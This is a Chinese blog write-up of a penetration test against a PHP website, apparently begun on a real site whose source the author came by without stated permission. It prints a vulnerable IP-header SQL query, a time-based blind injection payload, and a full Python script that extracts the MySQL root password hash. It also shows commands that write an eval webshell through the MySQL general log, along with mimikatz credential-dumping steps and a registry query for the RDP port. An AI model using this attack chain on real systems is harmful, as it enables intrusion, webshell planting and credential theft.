sql server查看某用户最近一次使用时间_一次基于代码审计的渗透测试

机缘巧合下获得了一套某某网站的源码,就顺手做了一次简单的代码审计,居然还真发现一处SQL注入漏洞,于是就有了后续的渗透测试。因为时间过去了比较长,以下内容是在测试环境下复现的,但是实际渗透测试时遇到的问题我会一起讲到。整体难度并不大,主要是分享渗透测试的一般流程还有一些心得。

一、代码审计

这是一套PHP的源码,而且非常庆幸的是没有使用任何框架也不是Objective,代码看起来直来直往。这里先介绍两个PHP代码审计的工具。

  1、RIPS

  这个工具本身就是PHP写的...是不是很神奇。需要搭建一个PHP运行环境(Win下推荐Phpstudy,一键安装,惬意),然后把下载完的包解压到网站根目录下即可,浏览器访问就可以直接使用,具体用法就不讲了,据说可以直接生成POC。

  2、VCG

  下载安装即可,不过用之前记得在Settings->Options->General中,将Current language和Start up language设置为PHP。

当然这些工具只是辅助,实际使用中发现有太多误报,还是需要人工筛查。如果代码量不大,也可以直接手动搞,配合Notepad++针对目录的文件查找功能,重点审计几个关键函数和关键字,例如:eval、file_put_content、file_get_content、include 以及sql关键字,如果这些函数、查询的参数用户可控且过滤不严格,就可能导致命令执行、任意文件读取、文件写入、文件包含、sql注入等漏洞。

通过一通瞎折腾,毫无收获......而且都引入了360的360webscan.php,绕WAF 实在头疼。不过功夫不负有心人,最后在一个xxx.php的文件中发现了一处sql漏洞,这里只贴出来主要代码:

function getip(){
 
 if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
 $ip = getenv("HTTP_CLIENT_IP");
 else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
 $ip = getenv("HTTP_X_FORWARDED_FOR");
 else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
 $ip = getenv("REMOTE_ADDR");
 else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
 $ip = $_SERVER['REMOTE_ADDR'];
 else
 $ip = "unknown";
 return $ip;

[PHP] 纯文本查看 复制代码
?
1
2
3$ip=getip(); 
$sql= "select id from xxx_ip where ip='$ip' limit 1";
[align=left]$query= $mysqli->query($sql);

  这段获取客户端IP的代码在网上广泛流传,我猜这套源码的作者也是偷懒直接抄的代码,这里有两处缺陷:

  1、先说第一处缺陷,出现在这句代码里:

$ip = getenv("HTTP_X_FORWARDED_FOR");

  直接获取了用户请求Header中的IP,但是这个地方是用户可控的或者或者说是伪造的。

  2、第二处缺陷就根本没必要说了,sql查询的参数根本没有经过任何过滤!估计作者也是直接抄代码根本没考虑过代码的安全性。

  以上两处缺陷就导致了sql注入漏洞,不过因为xxx.php中没有任何回显得地方,只能通过基于时间的盲注。

下面我们来本次测试一下,使用Firefox并安装Modify Header插件,添加新header:X-Forwarded-For,payload可以这么写:

127.0.0.1' union select sleep(10)#

payload代入sql查询语句后变成了:

select id from xxx_ip where ip='127.0.0.1' union select sleep(10)#' limit 1

  我们只要比较和正常访问相比是否有延迟就可以确定是否可以注入了。可以看到服务器Response用了10037ms,sleep(10)成功执行了!

767cbf330a81e15e8f84753897accbf6.png

二、爆破Mysql密码写Shell

有了注入点,尝试了一下爆破mysql的密码,后来发现使用这一套源码的人,普遍是用的旧版的UPUPW搭建的,其中的u.php自带phpmyadmin或者直接使用phpmyadmin,而且默认使用root用户......简直是自寻死路。这里我只在本次测试环境中给大家演示一下,同时放出POC:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
 
import requests
import time
 
time_normal_ave = [0,0]
time_sleep_ave  = [0,0]
sleep_base = 5 #sleep的时长,如果网络不稳定可能需要设置的更高
 
def get_time_cut(url):
 
 for i in range(10):#获取正常访问的time
 header = {'X-Forwarded-For':"127.0.0.1"}
 res = requests.post(url,data={},headers=header)
 time_normal_ave[0] = (time_normal_ave[0]*time_normal_ave[1]+res.elapsed.total_seconds())/(time_normal_ave[1]+1)
 time_normal_ave[1] += 1
 print('Normal delay is %s%s'%(time_normal_ave[0],'s'))
 for i in range(10):#获取sleep访问的time
 header = {'X-Forwarded-For':"127.0.0.1'union select sleep(%s)#"%sleep_base}
 res = requests.post(url,data={},headers=header)
 time_sleep_ave[0] = (time_sleep_ave[0]*time_sleep_ave[1]+res.elapsed.total_seconds())/(time_sleep_ave[1]+1)
 time_sleep_ave[1] += 1
 print('Delay with sleep(%s%s) is %s%s'%(sleep_base,'s',time_sleep_ave[0],'s'))
 
def get_database(url):#获取当前数据库名
 
 length = 0
 while True:#获取数据库名长度
 header = {'X-Forwarded-For':"127.0.01' union select if(length(database())=%s, sleep(%s),1)#"%(length,sleep_base)}
 res = requests.post(url,data={},headers=header)
 if res.elapsed.total_seconds() > (time_sleep_ave[0]+time_normal_ave[0])/2:
 print('Get length of database name:%s'%length)
 break
 else:
 length+=1
 dbname = ''
 for i in range(length):
 while True:
 temp = ''
 for No in range(33,127):#Ascii可见字符
 header = {'X-Forwarded-For':"127.0.01' union select If(ascii(substr(database(),%s,1))=%s,sleep(%s),1)#"%(i+1,No,sleep_base)}
 res = requests.post(url,data={},headers=header)
 if res.elapsed.total_seconds() > time_sleep_ave[0]-(time_sleep_ave[0]-time_normal_ave[0])/3:
 print('Get string at position %s of database name:%s'%(i+1,chr(No)))
 temp = chr(No)
 break
 if temp != '':
 dbname+=temp 
 temp = ''
 break
 print(dbname)
 
def get_db_user(url):#获取当前数据用户名
 
 length = 0
 while True:#获取用户名名长度
 header = {'X-Forwarded-For':"127.0.01' union select if(length(user())=%s, sleep(%s),1)#"%(length,sleep_base)}
 res = requests.post(url,data={},headers=header)
 if res.elapsed.total_seconds() > time_sleep_ave[0]-(time_sleep_ave[0]-time_normal_ave[0])/3:
 print('Get length of username:%s'%length)
 break
 else:
 length+=1
 username = ''
 for i in range(length):
 while True:
 temp = ''
 for No in range(33,127):#Ascii可见字符
 header = {'X-Forwarded-For':"127.0.01' union select If(ascii(substr(user(),%s,1))=%s,sleep(%s),1)#"%(i+1,No,sleep_base)}
 res = requests.post(url,data={},headers=header)
 if res.elapsed.total_seconds() > time_sleep_ave[0]-(time_sleep_ave[0]-time_normal_ave[0])/3:
 print('Get string at position %s of username:%s'%(i+1,chr(No)))
 temp = chr(No)
 break
 if temp != '':
 username+=temp 
 temp = ''
 break
 print(username)
 return username[/align][align=left]
def get_db_user_pass(url,username):#获取指定mysql账号的密码
 
 length = 41#mysql数据库用户密码固定为41
 userpass = ''
 for i in range(length):
 while True:
 temp = ''
 for No in range(33,127):#Ascii可见字符
 header = {'X-Forwarded-For':"127.0.01' union select If(ascii(substr((select Password from mysql.user where User='root' limit 0,1),%s,1))=%s,sleep(%s),1)#"%(i+1,No,sleep_base)}
 res = requests.post(url,data={},headers=header)
 if res.elapsed.total_seconds() > time_sleep_ave[0]-(time_sleep_ave[0]-time_normal_ave[0])/3:
 print('Get string at position %s of username:%s'%(i+1,chr(No)))
 temp = chr(No)
 break
 if temp != '':
 userpass+=temp 
 temp = ''
 break
 print(userpass)
 return
 
def get_basedir(url):#获取mysql路径
 
[/align][align=left]    length = 0
 while True:#获取长度
 header = {'X-Forwarded-For':"127.0.01' union select if(length((select @@basedir))=%s, sleep(%s),1)#"%(length,sleep_base)}
 res = requests.post(url,data={},headers=header)
 if res.elapsed.total_seconds() > (time_sleep_ave[0]+time_normal_ave[0])/2:
 print('Get length of basedir name:%s'%length)
 break
 else:
 length+=1
 basedir = ''
 for i in range(length):
 while True:
 temp = ''
 for No in range(33,127):#Ascii可见字符
 header = {'X-Forwarded-For':"127.0.01' union select If(ascii(substr((select @@basedir),%s,1))=%s,sleep(%s),1)#"%(i+1,No,sleep_base)}
 res = requests.post(url,data={},headers=header)
 if res.elapsed.total_seconds() > time_sleep_ave[0]-(time_sleep_ave[0]-time_normal_ave[0])/3:
 print('Get string at position %s of basedir:%s'%(i+1,chr(No)))
 temp = chr(No)
 break
 if temp != '':
 basedir+=temp 
 temp = ''
 break
 print(basedir)
 
url='http://127.0.0.1/xxx.php'
print(url)
get_time_cut(url)
get_database(url)
user=get_db_user(url)
get_db_user_pass(url,'root')
get_basedir(url)

以下是本地测试的运行结果:

625a54148d3fc34561036eff87fe5513.png

  不过我在写完后意识到,其实这个注入点应该大概可以直接上Sqlmap跑的......不过学艺不精,没想到。

  拿到密码后去http://cmd5.com跑一下。实际环境中,即使拿到mysql的root密码也不能直接用,因为一般mysql的外联是被关闭的,也就是不能远程连接,必须借助phpmydmin这种数据库管理工具,不过上面提到过,这套源码用的时候一般都是用UPUPW搭建的环境,具备这个条件。

  登陆上phpmyadmin后,直接上select into outfile,不出所料,不允许mysql直接写文件,能够直接这么写shell的实际中也机会没遇到过。这里留给大家一个小问题去思考,sql注入点可以使用union查询,如果允许mysql写文件,可以直接在注入点select into outfile 写shell吗?

  实战中几乎不可能遇到允许直接写文件的,所以就要就要曲线救国了,通过Mysql日志写shell,命令也很简单:

set global general_log='ON';
set global general_log_file='D:/phpStudy/www/shell.php';
select '<?php @eval($_POST[1111]);?>';
set global general_log='OFF';

记得最后一定要关闭日志功能,不然日志文件会越来越大。

细心的人可能会发现一个小问题,网站根目录的绝对路径是怎么获取的?前面根本没有提到啊。

  大家回去看我写的POC跑出来的最后一个数据,也就是mysql的basedir路径D:/phpStudy/Mysql,因为网站搭建是用的UPUPW(测试环境使用的是Phpstudy),通过mysql的路径是可以猜出来网站根目录的,例如C:/phpStudy/PHPTutorial/MySQL/对应的网站根目录为C:/phpStudy/PHPTutorial/WWW/。

下面就是上菜刀连接,传大马了。

三、提权

  一句话木马和大马传上去后,发现当前已经是最高权限,本来不需要提权,但是有些命令就是死活执行不了, net user add也无法添加用户,让人百思不得其解(最后远程桌面登录后发现是服务器上安装了安全狗,在里面设置了禁止添加系统账号),无奈只能尝试抓密码。

  这里强烈推荐mimikatz,俄国佬都是鬼才(经知友指正,作者应是法国人,法国人也见了鬼了。。。)

  上传mimikatz,大马反弹shell到自己的vps,然后在交互式shell下运行mimikatz,依次输入:

privilege::debug
sekurlsa::logonpasswords

  就大功告成了。

然后拿着管理员账号密码远程桌面登录,结果发现无法连接,看来是修改了默认端口,这时候可以上nmap扫一下,不过更简单的方式是通过命令行直接读:

REG query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp  /v PortNumber

注意结果是16进制,需要转换一下。如果没开rdp,也可以通过命令行REG add修改注册表直接开启,这里没用到就不提了。

四、结束语

因为只是一次测试,内网也不去搞了,也不是强项。

总体来说,这是一个多处漏洞同时出现才出现了的问题:

1、sql注入,源码直接抄网上的代码,过分信任用户的输入,导致sql注入。

2、安装环境自带页面未删除。本文中提到的UPUPW的u.php文件,就具备mysql管理的功能,本来这并不属于危险的漏洞,但是配合sql注入,这个页面就非常危险了。另外此类一键安装环境也导致了可以猜网站的绝对路径。

3、数据库和web的默认权限过高。这个没什么好说的,以root和system权限运行是万万不可取得。

4、mysql密码过于简单,导致可以爆破。长度过低的字符加数字组合已经不安全的,根据平时的经验来看,cmd5网站已经把这种基本组合的加密值全部收录了。

  单一的一个漏洞可能并不会导致过于严重的安全问题,但是这些漏洞组合到一起,导致了系统的彻底沦陷。这一方面告诉我们安全无小事,最小的漏洞都不能大意,另一方面也要求做渗透测试时要抓住每一个小小的漏洞不放,最终才能getsystem。

5、文章系原创,首发于爱春秋bbs,我可不是抄的...

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值